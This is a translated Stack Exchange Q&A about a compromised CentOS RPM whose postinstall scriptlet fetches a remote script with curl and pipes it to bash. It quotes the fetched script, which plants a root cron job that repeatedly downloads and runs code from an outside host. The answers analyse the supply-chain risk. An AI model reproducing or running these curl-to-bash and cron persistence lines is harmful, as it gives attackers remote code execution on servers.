安装这个 RPM 是如何创建文件的?

Pas*_*cal 15 yum rpm centos7

运行yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpm创建/etc/cron.d/sysstat2但 RPM 拒绝文件:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package
Run Code Online (Sandbox Code Playgroud)

RPM 是如何创建文件的,我如何查看它还有什么作用?

Pas*_*cal 17

# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1
Run Code Online (Sandbox Code Playgroud)

https://www.getpagespeed.com/SCM/release-post-install.php 包含:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Run Code Online (Sandbox Code Playgroud)


Joh*_*ald 16

您发现 rpm 的脚本运行来自 Internet 的脚本,并且该脚本当前重定向到可能是恶意软件的内容。虽然,我没有找到很多可以做任何事情的有效载荷。

rpm 无法完全跟踪发生的情况,因为它正在运行任意脚本。

gpgcheck 不会帮助你,你getpagespeed-extras-7-6.el7.gps.noarch.rpmgetpagespeed-extras-release-7-1.el7.gps.noarch.rpm你链接的似乎都有有效的签名:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
Run Code Online (Sandbox Code Playgroud)

向 repo 所有者抱怨该包运行来自 Internet 的任意代码。如果必须这样做,他们的软件供应链安全需要改进。

在没有 Internet 访问的情况下首次安装软件或手动检查“安装后”脚本似乎有点偏执。但不幸的是,如果包做了这样不明智的技巧,几乎似乎是必要的。